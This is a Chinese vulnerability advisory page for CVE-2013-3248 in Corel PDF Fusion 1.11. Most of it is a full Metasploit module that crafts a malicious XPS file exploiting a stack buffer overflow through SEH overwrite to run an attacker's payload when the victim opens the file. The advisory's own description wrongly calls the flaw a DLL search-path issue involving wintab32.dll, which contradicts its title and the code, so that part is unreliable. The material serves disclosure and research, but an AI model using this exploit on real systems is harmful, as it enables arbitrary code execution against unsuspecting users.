安全研究
安全漏洞
Corel PDF Fusion栈缓冲区溢出漏洞(CVE-2013-3248)
发布日期:2013-07-08
更新日期:2013-07-08
受影响系统:
wordperfect Corel PDF Fusion 1.11描述:
BUGTRAQ ID: 61010
CVE(CAN) ID: CVE-2013-3248
Corel PDF Fusion可以查看或合并PDF文档。
Corel PDF Fusion 1.11及其他版本在实现上存在可疑搜索路径漏洞,本地用户通过当前工作目录内的木马wintab32.dll文件,利用此漏洞可获取提升的权限。
<*来源:kaveh ghaemmaghami
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Corel PDF Fusion Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in version 1.11 of
Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry
names. In order for the payload to be executed, an attacker must convince the target
user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the
attacker can execute arbitrary code as the target user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kaveh Ghaemmaghami', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-3248' ],
[ 'OSVDB', '94933' ],
[ 'BID', '61010' ],
[ 'URL', 'http://secunia.com/advisories/52707/' ]
],
'Platform' => [ 'win' ],
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000
},
'Targets' =>
[
# Corel PDF Fusion 1.11 (build 2012/04/25:21:00:00)
# CorelFusion.exe 2.6.2.0
# ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
[ 'Corel PDF Fusion 1.11 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 4640 } ]
],
'DisclosureDate' => 'Jul 08 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.xps'])
], self.class)
end
def exploit
template = [
"[Content_Types].xml",
"_rels/.rels",
"docProps/thumbnail.jpeg",
"docProps/core.xml",
"FixedDocSeq.fdseq",
"Documents/1/Pages/_rels/1.fpage.rels",
"Documents/1/_rels/FixedDoc.fdoc.rels",
"Documents/1/FixedDoc.fdoc",
"Documents/1/Structure/Fragments/1.frag",
"Documents/1/Structure/DocStructure.struct",
"Documents/1/Pages/1.fpage",
]
xps = Rex::Zip::Archive.new
template.each do |k|
xps.add_file(k, rand_text_alpha(10 + rand(20)))
end
resources_length = "Resources/".length
sploit = "Resources/"
sploit << payload.encoded
sploit << rand_text(target['Offset'] - sploit.length)
sploit << generate_seh_record(target.ret)
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset'] + 8 - resources_length}").encode_string # 8 => seh_record length
sploit << rand_text(1500) # Trigger exception
xps.add_file(sploit, rand_text_alpha(10 + rand(20)))
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(xps.pack)
end
end
建议:
厂商补丁:
wordperfect
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.wordperfect.com/us/product/pdf-creator/
浏览次数:1427
严重程度:0(网友投票)
绿盟科技给您安全的保障
